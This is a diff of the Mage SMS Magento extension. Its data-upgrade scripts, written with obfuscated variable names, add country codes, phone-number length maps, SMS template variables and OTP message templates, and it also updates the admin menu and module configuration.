$i21e55df616c305955791876c1eb4da83448beba2->addData($i816ffec1f9a32e2bde09d40428fad957ae5edba0->getData()); $i21e55df616c305955791876c1eb4da83448beba2->unsId(); $i21e55df616c305955791876c1eb4da83448beba2->setMutation($i593f9fb6306ab4cdb862f1ef6769504d63647c90); $i47f954bfb9dd4be93a5c46b2c8260d3fbc064235->addObject($i21e55df616c305955791876c1eb4da83448beba2); } } } $idfa032f3c6e5ae7a5ed2f2c1ee51cca1f877d8ab = Mage::getModel('magesms/hooks_unicode')->getCollection() ->addFieldToFilter('area', array('like' => '__\_%'))->addFieldToFilter('type', 'customer'); foreach ($idfa032f3c6e5ae7a5ed2f2c1ee51cca1f877d8ab as $i7d1f5efb0c774f1e6b3d8e66cea1bdb630249d67) { $i7d1f5efb0c774f1e6b3d8e66cea1bdb630249d67->isDeleted(true); $i47f954bfb9dd4be93a5c46b2c8260d3fbc064235->addObject($i7d1f5efb0c774f1e6b3d8e66cea1bdb630249d67); } $i737316bf7223562994c418fae8d8e2b2e808c67b = Mage::getModel('magesms/hooks_unicode')->getCollection() ->addFieldToFilter('area', 'default')->addFieldToFilter('type', 'customer'); foreach ($i737316bf7223562994c418fae8d8e2b2e808c67b as $i0c01e8a28c3997e59de75905c4e02365535c6181) { $i6a8c141169d48ca0fd1da7ba133093ee034712b6 = false; foreach ($ie54fcd5470bd7f31f709089290e33bb03e655c25 as $i593f9fb6306ab4cdb862f1ef6769504d63647c90) { if ($i6a8c141169d48ca0fd1da7ba133093ee034712b6) { $i0c01e8a28c3997e59de75905c4e02365535c6181->setArea($i593f9fb6306ab4cdb862f1ef6769504d63647c90); $i47f954bfb9dd4be93a5c46b2c8260d3fbc064235->addObject($i0c01e8a28c3997e59de75905c4e02365535c6181); $i6a8c141169d48ca0fd1da7ba133093ee034712b6 = false; } else { $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd = Mage::getModel('magesms/hooks_unicode'); $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd->setArea($i593f9fb6306ab4cdb862f1ef6769504d63647c90); $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd->setUnicode($i0c01e8a28c3997e59de75905c4e02365535c6181->getUnicode()); $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd->setType($i0c01e8a28c3997e59de75905c4e02365535c6181->getType()); $i47f954bfb9dd4be93a5c46b2c8260d3fbc064235->addObject($ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd); } } } $i47f954bfb9dd4be93a5c46b2c8260d3fbc064235->save(); } $iddb18dc4afa6663cf07a52c741943ff87cbe3896->endSetup();
app/code/community/Topefekt/Magesms/data/magesms_setup/data-upgrade-1.4.0-1.4.1.php ADDED
@@ -0,0 +1,16 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Mage SMS - SMS notification & SMS marketing
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the BSD 3-Clause License
8
+ * It is available through the world-wide-web at this URL:
9
+ * http://opensource.org/licenses/BSD-3-Clause
10
+ *
11
+ * @category TOPefekt
12
+ * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
+ * @license http://opensource.org/licenses/BSD-3-Clause
15
+ */
16
+ $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $i4f3b75abfeef0eea3f3858aa24b2cf7c9edfa6ce = Mage::getModel('magesms/maps')->getCollection()->addFieldToFilter('area', 51)->addFieldToFilter('number', 9); if (!$i4f3b75abfeef0eea3f3858aa24b2cf7c9edfa6ce->count()) { Mage::getModel('magesms/maps')->setArea(51)->setNumber(9)->save(); } $i4f3b75abfeef0eea3f3858aa24b2cf7c9edfa6ce = Mage::getModel('magesms/maps')->getCollection()->addFieldToFilter('area', 51)->addFieldToFilter('number', 10); if (!$i4f3b75abfeef0eea3f3858aa24b2cf7c9edfa6ce->count()) { Mage::getModel('magesms/maps')->setArea(51)->setNumber(10)->save(); } $i4f3b75abfeef0eea3f3858aa24b2cf7c9edfa6ce = Mage::getModel('magesms/maps')->getCollection()->addFieldToFilter('area', 51)->addFieldToFilter('number', 11); foreach ($i4f3b75abfeef0eea3f3858aa24b2cf7c9edfa6ce as $iea2646e1bc9c30628936676e18f22d4a02f4a44a) { $iea2646e1bc9c30628936676e18f22d4a02f4a44a->delete(); } $iddb18dc4afa6663cf07a52c741943ff87cbe3896->endSetup();
app/code/community/Topefekt/Magesms/data/magesms_setup/data-upgrade-1.4.1-1.4.2.php ADDED
@@ -0,0 +1,16 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Mage SMS - SMS notification & SMS marketing
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the BSD 3-Clause License
8
+ * It is available through the world-wide-web at this URL:
9
+ * http://opensource.org/licenses/BSD-3-Clause
10
+ *
11
+ * @category TOPefekt
12
+ * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
+ * @license http://opensource.org/licenses/BSD-3-Clause
15
+ */
16
+ $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $i4f3b75abfeef0eea3f3858aa24b2cf7c9edfa6ce = Mage::getModel('magesms/maps')->getCollection()->addFieldToFilter('area', 974)->addFieldToFilter('number', 8); if (!$i4f3b75abfeef0eea3f3858aa24b2cf7c9edfa6ce->count()) { Mage::getModel('magesms/maps')->setArea(974)->setNumber(8)->save(); } $iddb18dc4afa6663cf07a52c741943ff87cbe3896->endSetup();
app/code/community/Topefekt/Magesms/data/magesms_setup/data-upgrade-1.4.2-1.4.3.php ADDED
@@ -0,0 +1,19 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Mage SMS - SMS notification & SMS marketing
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the BSD 3-Clause License
8
+ * It is available through the world-wide-web at this URL:
9
+ * http://opensource.org/licenses/BSD-3-Clause
10
+ *
11
+ * @category TOPefekt
12
+ * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
+ * @license http://opensource.org/licenses/BSD-3-Clause
15
+ */
16
+ $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $i037b855bc01175f2c77d5c3e19eda9a0003feff4 = Mage::getModel('magesms/country')->getCollection()->addFieldToFilter('name', 'Ivory Coast'); if (!$i037b855bc01175f2c77d5c3e19eda9a0003feff4->count()) { $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("
17
+ INSERT INTO `{$this->getTable('magesms_country')}`
18
+ (`name`, `vat`, `currency`) VALUES ('Ivory Coast', 0, 'EUR')
19
+ "); } $i7492a7ab99a6ff1e0ae253366480ecb40a550224 = Mage::getModel('magesms/country_area')->getCollection()->addFieldToFilter('area', 225)->addFieldToFilter('country_name', 'Ivory Coast'); if (!$i7492a7ab99a6ff1e0ae253366480ecb40a550224->count()) { Mage::getModel('magesms/country_area')->setArea(225)->setCountryName('Ivory Coast')->save(); } $i6e95f7221dac95bab38883c12b6d615a9933e323 = Mage::getModel('magesms/country_lang')->getCollection()->addFieldToFilter('country_name', 'Ivory Coast')->addFieldToFilter('iso2', 'fr'); if (!$i6e95f7221dac95bab38883c12b6d615a9933e323->count()) { Mage::getModel('magesms/country_lang')->setCountryName('Ivory Coast')->setIso2('fr')->setLang('fr')->save(); } $iddb18dc4afa6663cf07a52c741943ff87cbe3896->endSetup();
app/code/community/Topefekt/Magesms/data/magesms_setup/data-upgrade-1.4.4-1.4.5.php ADDED
@@ -0,0 +1,16 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Mage SMS - SMS notification & SMS marketing
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the BSD 3-Clause License
8
+ * It is available through the world-wide-web at this URL:
9
+ * http://opensource.org/licenses/BSD-3-Clause
10
+ *
11
+ * @category TOPefekt
12
+ * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
+ * @license http://opensource.org/licenses/BSD-3-Clause
15
+ */
16
+ $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $i4f3b75abfeef0eea3f3858aa24b2cf7c9edfa6ce = Mage::getModel('magesms/maps')->getCollection()->addFieldToFilter('area', 966)->addFieldToFilter('number', 8); if (!$i4f3b75abfeef0eea3f3858aa24b2cf7c9edfa6ce->count()) { Mage::getModel('magesms/maps')->setArea(966)->setNumber(8)->save(); } $iddb18dc4afa6663cf07a52c741943ff87cbe3896->endSetup();
app/code/community/Topefekt/Magesms/data/magesms_setup/data-upgrade-1.4.5-1.4.6.php ADDED
@@ -0,0 +1,16 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Mage SMS - SMS notification & SMS marketing
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the BSD 3-Clause License
8
+ * It is available through the world-wide-web at this URL:
9
+ * http://opensource.org/licenses/BSD-3-Clause
10
+ *
11
+ * @category TOPefekt
12
+ * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
+ * @license http://opensource.org/licenses/BSD-3-Clause
15
+ */
16
+ $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $ib678de385e13abb750f86db873c70fd899d5324c = array( array("Afghanistan",93), array("Andorra",376), array("Aruba",297), array("Benin",229), array("Brunei",673), array("Burkina Faso",226), array("Burundi",257), array("Cape Verde",238), array("CĂ´te d'Ivoire",225), array("Comoros",269), array("Congo Dem. R.",243), array("Cook Islands",682), array("Djibouti",253), array("Equatorial Guinea",240), array("Falkland Islands",500), array("Gabon",241), array("Gambia",220), array("Gibraltar",350), array("French Guiana",594), array("Guinea",224), array("Guinea-Bissau",245), array("Guyana",592), array("Haiti",509), array("Chad",235), array("Kiribati",686), array("Liberia",231), array("Mali",223), array("Mauritania",222), array("Mauritius",230), array("Montenegro",382), array("Mozambique",258), array("Netherlands Ant.",299), array("New Caledonia",687), array("Palau",680), array("RĂ©union",262), array("Saint Pierre a. M.",508), array("SĂŁo Tome a. P.",239), array("San Marino",378), array("Seychelles",248), array("Sierra Leone",232), array("Solomon Islands",677), array("Sudan",249), array("Suriname",597), array("Togo",228), array("Tuvalu",688), array("UAE",971), array("Uganda",256), array("Zambia",260), ); foreach ($ib678de385e13abb750f86db873c70fd899d5324c as $i04a044a36bef0ddde6d5de08f57f074024136d74) { $i037b855bc01175f2c77d5c3e19eda9a0003feff4 = Mage::getModel('magesms/country')->getCollection()->addFieldToFilter('name', $i04a044a36bef0ddde6d5de08f57f074024136d74[0]); if (!$i037b855bc01175f2c77d5c3e19eda9a0003feff4->count()) { $i037b855bc01175f2c77d5c3e19eda9a0003feff4 = Mage::getModel('magesms/country'); $i037b855bc01175f2c77d5c3e19eda9a0003feff4->setName($i04a044a36bef0ddde6d5de08f57f074024136d74[0])->setVat(0)->setCurrency('EUR'); $i037b855bc01175f2c77d5c3e19eda9a0003feff4->save(); $i819e44584c9e767fbcbdc7d78205ba711361e574 = Mage::getModel('magesms/country_area')->getCollection()->addFieldToFilter('area', $i04a044a36bef0ddde6d5de08f57f074024136d74[1]); if (!$i819e44584c9e767fbcbdc7d78205ba711361e574->count()) { $i819e44584c9e767fbcbdc7d78205ba711361e574 = Mage::getModel('magesms/country_area'); $i819e44584c9e767fbcbdc7d78205ba711361e574->setCountryName($i04a044a36bef0ddde6d5de08f57f074024136d74[0])->setArea($i04a044a36bef0ddde6d5de08f57f074024136d74[1]); $i819e44584c9e767fbcbdc7d78205ba711361e574->save(); } } } $iddb18dc4afa6663cf07a52c741943ff87cbe3896->endSetup();
app/code/community/Topefekt/Magesms/data/magesms_setup/data-upgrade-1.4.7-1.4.8.php ADDED
@@ -0,0 +1,24 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Mage SMS - SMS notification & SMS marketing
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the BSD 3-Clause License
8
+ * It is available through the world-wide-web at this URL:
9
+ * http://opensource.org/licenses/BSD-3-Clause
10
+ *
11
+ * @category TOPefekt
12
+ * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
+ * @license http://opensource.org/licenses/BSD-3-Clause
15
+ */
16
+ $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $ib678de385e13abb750f86db873c70fd899d5324c = array( array("Afghanistan",93,9), array("Andorra",376,6), array("Aruba",297,7), array("Benin",229,8), array("Brunei",673,7), array("Burkina Faso",226,8), array("Burundi",257,8), array("Cape Verde",238,7), array("CĂ´te d'Ivoire",225,8), array("Comoros",269,7), array("Congo Dem. R.",243,9), array("Cook Islands",682,5), array("Djibouti",253,6), array("Equatorial Guinea",240,6), array("Falkland Islands",500,5), array("Gabon",241,8), array("Gambia",220,7), array("Gibraltar",350,8), array("French Guiana",594,9), array("Guinea",224,8), array("Guinea-Bissau",245,7), array("Guyana",592,7), array("Haiti",509,8), array("Chad",235,7), array("Kiribati",686,5), array("Liberia",231,7), array("Liberia",231,8), array("Mali",223,8), array("Mauritania",222,7), array("Mauritius",230,7), array("Mauritius",230,8), array("Montenegro",382,7), array("Montenegro",382,8), array("Montenegro",382,9), array("Montenegro",382,10), array("Mozambique",258,9), array("Netherlands Ant.",299,6), array("New Caledonia",687,6), array("Palau",680,7), array("RĂ©union",262,9), array("Saint Pierre a. M.",508,6), array("SĂŁo Tome a. P.",239,6), array("San Marino",378,9), array("San Marino",378,10), array("San Marino",378,11), array("San Marino",378,12), array("San Marino",378,13), array("Seychelles",248,6), array("Seychelles",248,7), array("Sierra Leone",232,8), array("Solomon Islands",677,5), array("Solomon Islands",677,7), array("Sudan",249,9), array("Suriname",597,7), array("Togo",228,7), array("Tuvalu",688,5), array("UAE",971,9), array("Uganda",256,9), array("Zambia",260,8), ); foreach ($ib678de385e13abb750f86db873c70fd899d5324c as $i04a044a36bef0ddde6d5de08f57f074024136d74) { $i4f3b75abfeef0eea3f3858aa24b2cf7c9edfa6ce = Mage::getModel('magesms/maps')->getCollection()->addFieldToFilter('area', $i04a044a36bef0ddde6d5de08f57f074024136d74[1])->addFieldToFilter('number', $i04a044a36bef0ddde6d5de08f57f074024136d74[2]); if (!$i4f3b75abfeef0eea3f3858aa24b2cf7c9edfa6ce->count()) { $i4f3b75abfeef0eea3f3858aa24b2cf7c9edfa6ce = Mage::getModel('magesms/maps'); $i4f3b75abfeef0eea3f3858aa24b2cf7c9edfa6ce->setArea($i04a044a36bef0ddde6d5de08f57f074024136d74[1])->setNumber($i04a044a36bef0ddde6d5de08f57f074024136d74[2]); $i4f3b75abfeef0eea3f3858aa24b2cf7c9edfa6ce->save(); } } $i0933475b5bd80561a9f50282fd9eb0b8345cec4b = Mage::getModel('magesms/variables')->getCollection()->addFieldToFilter('name', 'customer_shipping_firstname'); if (!$i0933475b5bd80561a9f50282fd9eb0b8345cec4b->count()) { Mage::getModel('magesms/variables')->setName('customer_shipping_firstname')->setTemplate('John')->setTranslate(0)->save(); } $i0933475b5bd80561a9f50282fd9eb0b8345cec4b = Mage::getModel('magesms/variables')->getCollection()->addFieldToFilter('name', 'customer_shipping_lastname'); if (!$i0933475b5bd80561a9f50282fd9eb0b8345cec4b->count()) { Mage::getModel('magesms/variables')->setName('customer_shipping_lastname')->setTemplate('DOE')->setTranslate(0)->save(); } $i0933475b5bd80561a9f50282fd9eb0b8345cec4b = Mage::getModel('magesms/variables')->getCollection()->addFieldToFilter('name', 'order_subtotal'); if (!$i0933475b5bd80561a9f50282fd9eb0b8345cec4b->count()) { Mage::getModel('magesms/variables')->setName('order_subtotal')->setTemplate('450')->setTranslate(0)->save(); } $i0933475b5bd80561a9f50282fd9eb0b8345cec4b = Mage::getModel('magesms/variables')->getCollection()->addFieldToFilter('name', 'order_shipping_amount'); if (!$i0933475b5bd80561a9f50282fd9eb0b8345cec4b->count()) { Mage::getModel('magesms/variables')->setName('order_shipping_amount')->setTemplate('14')->setTranslate(0)->save(); } $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("
17
+ UPDATE `{$this->getTable('magesms_hooks')}`
18
+ SET `notice` = REPLACE(`notice`, '{customer_phone}', '{customer_phone}, {customer_shipping_lastname}, {customer_shipping_firstname}')
19
+ WHERE `notice` LIKE '%{customer_phone}%' AND `notice` NOT LIKE '%{customer_shipping_firstname}%';
20
+ "); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("
21
+ UPDATE `{$this->getTable('magesms_hooks')}`
22
+ SET `notice` = REPLACE(`notice`, '{order_total_paid}', '{order_total_paid}, {order_subtotal}, {order_shipping_amount}')
23
+ WHERE `notice` LIKE '%{order_total_paid}%' AND `notice` NOT LIKE '%{order_subtotal}%';
24
+ "); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->endSetup();
app/code/community/Topefekt/Magesms/data/magesms_setup/data-upgrade-1.4.8-1.5.0.php ADDED
@@ -0,0 +1,28 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Mage SMS - SMS notification & SMS marketing
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the BSD 3-Clause License
8
+ * It is available through the world-wide-web at this URL:
9
+ * http://opensource.org/licenses/BSD-3-Clause
10
+ *
11
+ * @category TOPefekt
12
+ * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
+ * @license http://opensource.org/licenses/BSD-3-Clause
15
+ */
16
+ $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("
17
+ UPDATE `{$this->getTable('magesms_hooks')}` SET `system` = 1 WHERE `name` NOT IN ('customerRegisterOTP', 'newOrderOTP');
18
+ "); $ie54fcd5470bd7f31f709089290e33bb03e655c25 = Topefekt_Magesms_Model_System_Config_Lang::toOptionArray(); foreach ($ie54fcd5470bd7f31f709089290e33bb03e655c25 as $i593f9fb6306ab4cdb862f1ef6769504d63647c90) { if ($i593f9fb6306ab4cdb862f1ef6769504d63647c90['value'] == 'cz') { $i092fed12249a415fe47769fa9b0bb17968e798c0 = "(NULL, 'customerRegisterOTP', 'Ověřená registrace', 3, 2, '', '', '', 'Vazeny zakazniku, toto je Vas jednorazovy kod pro overeni Vasi registrace: {code} . {shop_name}', '{code}<br /><br />{shop_domain}, {shop_name}, {shop_email}, {shop_phone}', 'cz', 0)"; } elseif ($i593f9fb6306ab4cdb862f1ef6769504d63647c90['value'] == 'sk') { $i092fed12249a415fe47769fa9b0bb17968e798c0 = "(NULL, 'customerRegisterOTP', 'Overená registrácia', 3, 2, '', '', '', 'Vazeny zakaznik, toto je Vas jednorazovy kod pre overenie Vasej registracie: {code} . {shop_name}', '{code}<br /><br />{shop_domain}, {shop_name}, {shop_email}, {shop_phone}', 'sk', 0)"; } else { $i092fed12249a415fe47769fa9b0bb17968e798c0 = "(NULL, 'customerRegisterOTP', 'Verified registration', 3, 2, '', '', '', 'Dear customer, this is your OTP code for verification: {code} . {shop_name}', '{code}<br /><br />{shop_domain}, {shop_name}, {shop_email}, {shop_phone}', '{$i593f9fb6306ab4cdb862f1ef6769504d63647c90['value']}', 0);"; } if (!Mage::getModel('magesms/hooks')->getCollection()->addFieldToFilter('name', 'customerRegisterOTP')->addFieldToFilter('lang', $i593f9fb6306ab4cdb862f1ef6769504d63647c90['value'])->count()) $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("
19
+ INSERT INTO `{$this->getTable('magesms_hooks')}` VALUES $i092fed12249a415fe47769fa9b0bb17968e798c0;
20
+ "); } foreach ($ie54fcd5470bd7f31f709089290e33bb03e655c25 as $i593f9fb6306ab4cdb862f1ef6769504d63647c90) { if ($i593f9fb6306ab4cdb862f1ef6769504d63647c90['value'] == 'cz') { $i092fed12249a415fe47769fa9b0bb17968e798c0 = "(NULL, 'newOrderOTP', 'Ověřená objednávka', 3, 1, '', '', '', 'Vazeny zakazniku, toto je Vas jednorazovy kod pro overeni Vasi objednavky: {code} . {shop_name}', '{code}<br /><br />{shop_domain}, {shop_name}, {shop_email}, {shop_phone}', 'cz', 0)"; } elseif ($i593f9fb6306ab4cdb862f1ef6769504d63647c90['value'] == 'sk') { $i092fed12249a415fe47769fa9b0bb17968e798c0 = "(NULL, 'newOrderOTP', 'Overená objednávka', 3, 1, '', '', '', 'Vazeny zakaznik, toto je Vas jednorazovy kod pre overenie Vasej objednavky: {code} . {shop_name}', '{code}<br /><br />{shop_domain}, {shop_name}, {shop_email}, {shop_phone}', 'sk', 0)"; } else { $i092fed12249a415fe47769fa9b0bb17968e798c0 = "(NULL, 'newOrderOTP', 'Verified order', 3, 1, '', '', '', 'Dear customer, this is your OTP code for verification: {code} . {shop_name}', '{code}<br /><br />{shop_domain}, {shop_name}, {shop_email}, {shop_phone}', '{$i593f9fb6306ab4cdb862f1ef6769504d63647c90['value']}', 0);"; } if (!Mage::getModel('magesms/hooks')->getCollection()->addFieldToFilter('name', 'newOrderOTP')->addFieldToFilter('lang', $i593f9fb6306ab4cdb862f1ef6769504d63647c90['value'])->count()) $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("
21
+ INSERT INTO `{$this->getTable('magesms_hooks')}` VALUES $i092fed12249a415fe47769fa9b0bb17968e798c0;
22
+ "); } $i0933475b5bd80561a9f50282fd9eb0b8345cec4b = Mage::getModel('magesms/variables')->getCollection()->addFieldToFilter('name', 'code'); if (!$i0933475b5bd80561a9f50282fd9eb0b8345cec4b->count()) { Mage::getModel('magesms/variables')->setName('code')->setTemplate('123456')->setTranslate(0)->save(); } $i4f3b75abfeef0eea3f3858aa24b2cf7c9edfa6ce = Mage::getModel('magesms/maps')->getCollection()->addFieldToFilter('area', 856)->addFieldToFilter('number', 10); if (!$i4f3b75abfeef0eea3f3858aa24b2cf7c9edfa6ce->count()) { Mage::getModel('magesms/maps')->setArea(856)->setNumber(10)->save(); } $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("
23
+ DELETE FROM `{$this->getTable('magesms_hooks_admins')}` WHERE `name` LIKE 'createCreditMemo';
24
+ "); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("
25
+ DELETE FROM `{$this->getTable('magesms_hooks_customers')}` WHERE `name` LIKE 'createCreditMemo';
26
+ "); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("
27
+ DELETE FROM `{$this->getTable('magesms_hooks')}` WHERE `name` LIKE 'createCreditMemo';
28
+ "); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->endSetup();
app/code/community/Topefekt/Magesms/data/magesms_setup/data-upgrade-1.5.0-1.5.1.php ADDED
@@ -0,0 +1,20 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /**
3
+ * Mage SMS - SMS notification & SMS marketing
4
+ *
5
+ * NOTICE OF LICENSE
6
+ *
7
+ * This source file is subject to the BSD 3-Clause License
8
+ * It is available through the world-wide-web at this URL:
9
+ * http://opensource.org/licenses/BSD-3-Clause
10
+ *
11
+ * @category TOPefekt
12
+ * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
+ * @license http://opensource.org/licenses/BSD-3-Clause
15
+ */
16
+ $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->startSetup(); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("
17
+ UPDATE `{$this->getTable('magesms_hooks')}` SET `group` = 5 WHERE `name` IN ('customerRegisterOTP', 'newOrderOTP');
18
+ "); $ie54fcd5470bd7f31f709089290e33bb03e655c25 = Topefekt_Magesms_Model_System_Config_Lang::toOptionArray(); foreach ($ie54fcd5470bd7f31f709089290e33bb03e655c25 as $i593f9fb6306ab4cdb862f1ef6769504d63647c90) { if ($i593f9fb6306ab4cdb862f1ef6769504d63647c90['value'] == 'cz') { $i092fed12249a415fe47769fa9b0bb17968e798c0 = "(NULL, 'checkoutCustomerOTP', 'Ověřený zákazník', 3, 5, '', '', '', 'Vazeny zakazniku, toto je Vas jednorazovy kod pro overeni: {code} . {shop_name}', '{code}<br /><br />{shop_domain}, {shop_name}, {shop_email}, {shop_phone}', 'cz', 0)"; } elseif ($i593f9fb6306ab4cdb862f1ef6769504d63647c90['value'] == 'sk') { $i092fed12249a415fe47769fa9b0bb17968e798c0 = "(NULL, 'checkoutCustomerOTP', 'Overený zákazník', 3, 5, '', '', '', 'Vazeny zakaznik, toto je Vas jednorazovy kod pre overenie: {code} . {shop_name}', '{code}<br /><br />{shop_domain}, {shop_name}, {shop_email}, {shop_phone}', 'sk', 0)"; } else { $i092fed12249a415fe47769fa9b0bb17968e798c0 = "(NULL, 'checkoutCustomerOTP', 'Verified cutomer', 3, 5, '', '', '', 'Dear customer, this is your OTP code for verification: {code} . {shop_name}', '{code}<br /><br />{shop_domain}, {shop_name}, {shop_email}, {shop_phone}', '{$i593f9fb6306ab4cdb862f1ef6769504d63647c90['value']}', 0);"; } if (!Mage::getModel('magesms/hooks')->getCollection()->addFieldToFilter('name', 'checkoutCustomerOTP')->addFieldToFilter('lang', $i593f9fb6306ab4cdb862f1ef6769504d63647c90['value'])->count()) $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("
19
+ INSERT INTO `{$this->getTable('magesms_hooks')}` VALUES $i092fed12249a415fe47769fa9b0bb17968e798c0;
20
+ "); } $i0933475b5bd80561a9f50282fd9eb0b8345cec4b = Mage::getModel('magesms/variables')->getCollection()->addFieldToFilter('name', 'admin_name'); if (!$i0933475b5bd80561a9f50282fd9eb0b8345cec4b->count()) { Mage::getModel('magesms/variables')->setName('admin_name')->setTemplate('Admin Doe')->setTranslate(0)->save(); } $i0933475b5bd80561a9f50282fd9eb0b8345cec4b = Mage::getModel('magesms/variables')->getCollection()->addFieldToFilter('name', 'admin_phone'); if (!$i0933475b5bd80561a9f50282fd9eb0b8345cec4b->count()) { Mage::getModel('magesms/variables')->setName('admin_phone')->setTemplate('800654321')->setTranslate(0)->save(); } $iddb18dc4afa6663cf07a52c741943ff87cbe3896->endSetup();
app/code/community/Topefekt/Magesms/etc/adminhtml.xml CHANGED
@@ -64,6 +64,11 @@
64
  <action>adminhtml/magesms_wizard</action>
65
  <sort_order>8</sort_order>
66
  </wizard>
 
 
 
 
 
67
  </children>
68
  </settings>
69
  <about translate="title" module="magesms">
@@ -125,6 +130,9 @@
125
  <wizard translate="title" module="magesms">
126
  <title>SMS Settings</title>
127
  </wizard>
 
 
 
128
  </children>
129
  </settings>
130
  <about translate="title" module="magesms">
64
  <action>adminhtml/magesms_wizard</action>
65
  <sort_order>8</sort_order>
66
  </wizard>
67
+ <system_config translate="title" module="magesms">
68
+ <title>System Settings</title>
69
+ <action>adminhtml/system_config/edit/section/magesms</action>
70
+ <sort_order>100</sort_order>
71
+ </system_config>
72
  </children>
73
  </settings>
74
  <about translate="title" module="magesms">
130
  <wizard translate="title" module="magesms">
131
  <title>SMS Settings</title>
132
  </wizard>
133
+ <system_config translate="title" module="magesms">
134
+ <title>System Settings</title>
135
+ </system_config>
136
  </children>
137
  </settings>
138
  <about translate="title" module="magesms">
app/code/community/Topefekt/Magesms/etc/config.xml CHANGED
@@ -2,7 +2,7 @@
2
  <config>
3
  <modules>
4
  <Topefekt_Magesms>
5
- <version>1.4.7</version>
6
  </Topefekt_Magesms>
7
  </modules>
8
 
@@ -19,6 +19,11 @@
19
  <data>Topefekt_Magesms_Helper_Data</data>
20
  </rewrite>
21
  </magesms>
 
 
 
 
 
22
  <adminhtml>
23
  <rewrite>
24
  <data>Topefekt_Magesms_Helper_Adminhtml_Data</data>
@@ -102,6 +107,9 @@
102
  <optout_order>
103
  <table>magesms_optout_order</table>
104
  </optout_order>
 
 
 
105
  </entities>
106
  </magesms_mysql4>
107
  <cataloginventory_resource>
@@ -138,6 +146,14 @@
138
  </Topefekt_Magesms_ProductStock>
139
  </observers>
140
  </cataloginventory_stock_item_save_after>
 
 
 
 
 
 
 
 
141
  <sales_order_place_after>
142
  <observers>
143
  <Topefekt_Magesms_NewOrder>
@@ -170,6 +186,34 @@
170
  </Topefekt_Magesms_LockSku>
171
  </observers>
172
  </catalog_product_edit_action>
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
173
  </events>
174
  </global>
175
 
@@ -201,6 +245,16 @@
201
  </magesms>
202
  </updates>
203
  </layout>
 
 
 
 
 
 
 
 
 
 
204
